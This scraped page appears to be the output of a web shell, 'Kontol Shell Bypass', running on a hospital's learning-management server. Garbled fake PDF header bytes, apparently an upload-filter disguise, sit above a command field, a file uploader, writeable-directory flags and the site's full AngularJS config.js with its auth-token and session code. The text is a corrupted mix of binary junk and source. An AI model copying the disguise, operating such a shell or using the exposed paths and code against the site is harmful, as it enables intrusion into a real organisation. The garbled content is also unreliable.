%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/js/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/js/config.js
var jsInterval;
var SITE_NAME="LMS";
var API_URL='api/';

var MetronicApp = angular.module('MetronicApp', ['ui.router', 'ngAnimate', 'oc.lazyLoad']);

function addTokenInData(data){
	var authToken=localStorage.getItem('AuthToken');
	if(angular.isString(data)){
		data=data+"&AuthToken="+authToken;
	}else if(angular.isObject(data)){
		if(angular.isFunction(data.append)){
			data.append('AuthToken', authToken);
		}else{
			data['AuthToken']=authToken;
		}
	}
	return data;
}

function paramSerializeData(data){
	if(angular.isObject(data)){
		if(!angular.isFunction(data.append)){
			data=$.param(data);
		}
	}
	return data;
}

function showHttpErr(res){
	show_alert_msg("Network error! Try again.", "E");
	hide_loader();
}

/** Auth Factory **/
MetronicApp.factory('Auth', function($window, $state){
	return{
		setSession: function(u){
			$window.localStorage['name']		=	angular.isDefined(u.name)?u.name:'';
			$window.localStorage['user_type']	=	angular.isDefined(u.type)?u.type:'';
			setCookie('user_type', $window.localStorage['user_type'], 1);
		},
		getSession: function(){
			return $window.localStorage;
		},
		delSession: function(){
			$window.localStorage.removeItem('name');
			$window.localStorage.removeItem('user_type');
			$window.localStorage.removeItem('AuthToken');
		},
		setAuthToken: function(token){
			$window.localStorage['AuthToken']=token;
		},
		isLogged: function(){
			return (angular.isDefined($window.localStorage.name) && $window.localStorage.name!='');
		},
		sessionVal: function(key){
			var s=this.getSession();
			return angular.isDefined(s[key])?s[key]:'';
		}
	  }
});

MetronicApp.factory('httpRequestInterceptor', function ($rootScope) {
    return {
        request: function (config) {
			if(config.url.indexOf("api/")!==-1){
				if(config.method=='POST'){
					if(!angular.isDefined(config.data)){
						config.data={};
					}
					//config.data=addTokenInData(config.data);
					config.data=paramSerializeData(config.data);
				}else{
					if(!angular.isDefined(config.params)){
						config.params={};
					}
					//config.params=addTokenInData(config.params);
				}
			}
            return config;
        },
        response: function (response) {
			if(response.config.url.indexOf("api/")!==-1 && response.config.url.indexOf("noloader")===-1){
				hide_loader();
			}
			if(angular.isObject(response.data)){
				if(typeof response.data.NotLogged != "undefined"){
					if($rootScope.isLogged){
                    	$rootScope.clearLoggedData();
                    	$rootScope.isLogged=false;
						$rootScope.goto("login");
					}
				}else{
                    if(response.config.url.indexOf("api/auth/login")===-1){
                        $rootScope.isLogged=true;
                    }
                }
			}
			
            return response;
        },
        responseError: function (err) {
            showHttpErr(err);
            return err;
        }
    };
});


/** Set header type for http post **/
MetronicApp.config(function ($httpProvider, $sceDelegateProvider){ //, $httpParamSerializerJQLikeProvider
	$httpProvider.defaults.withCredentials = true;
	$httpProvider.defaults.headers.post['Content-Type']='application/x-www-form-urlencoded; charset=utf-8';
	$httpProvider.interceptors.push('httpRequestInterceptor');
	//$httpProvider.defaults.headers.common["X-Requested-With"] = "XMLHttpRequest";
	//$httpProvider.defaults.headers.common['AuthToken']=localStorage.getItem('AuthToken');

	$sceDelegateProvider.resourceUrlWhitelist([
		// Allow same origin resource loads.
		'self',
		'http://localhost:3000/**',
		// Allow loading from our assets domain.  Notice the difference between * and **.
		'https://aweblms.sharda.ac.in/**'
	  ]);
});

/** Global Functions and Variables **/
MetronicApp.run(function($rootScope, $sce) {
	$rootScope.SITE_NAME=SITE_NAME;
	
	$rootScope.renderHtml=function (htmlCode) {
		return $sce.trustAsHtml(htmlCode);
	}
	
	$rootScope.ngrange=function (start, end) {
		var a=[];
		for(i=start; i<=end; i++){
			a.push(i);
		}
		return a;
	}
	
	/** Date Format **/
	$rootScope.get_date=function(d, df){
		d=moment(d).format('DD MMM YYYY');
        if(df){
            d=moment(d).format(df);
        }
        return d;
	}
});

/** Pagination Directive **/
MetronicApp.directive('dirPaging', function () {
	var str='';
    return {
        template: function (elem, attr) {
			var page_ob=typeof attr.pageob != "undefined"?attr.pageob:"page";
			
			str='<ul class="pagination">';
				str+='<li class="page-item {{'+page_ob+'.cur_page<=1?\'disabled\':\'\'}}"><a href="#" class="page-link" ng-click="' + attr.fn + '('+page_ob+'.cur_page-1)"> < </a></li>';
				str+='<li class="page-item"><a href="#" class="page-link" ng-click="' + attr.fn + '(1)"> First </a></li>';
            	str+='<li class="page-item {{'+page_ob+'.cur_page==n?\'active\':\'\'}}" ng-repeat="n in ngrange('+page_ob+'.page_start, '+page_ob+'.page_end)"><a href="#" class="page-link" ng-click="' + attr.fn + '(n)">{{n}}</a></li>';
				str+='<li class="page-item"><a href="#" class="page-link" ng-click="' + attr.fn + '('+page_ob+'.total_pages)"> Last </a></li>';
				str+='<li class="page-item {{'+page_ob+'.cur_page>='+page_ob+'.total_pages?\'disabled\':\'\'}}"><a href="#" class="page-link" ng-click="' + attr.fn + '('+page_ob+'.cur_page+1)"> > </a></li>';
			str+='</ul>';
			return str;
        },
        replace: true,
    };
});

/** TempData Service **/
MetronicApp.service('Temp', function() {
    this.order_id=0;
});


//EOF

Kontol Shell Bypass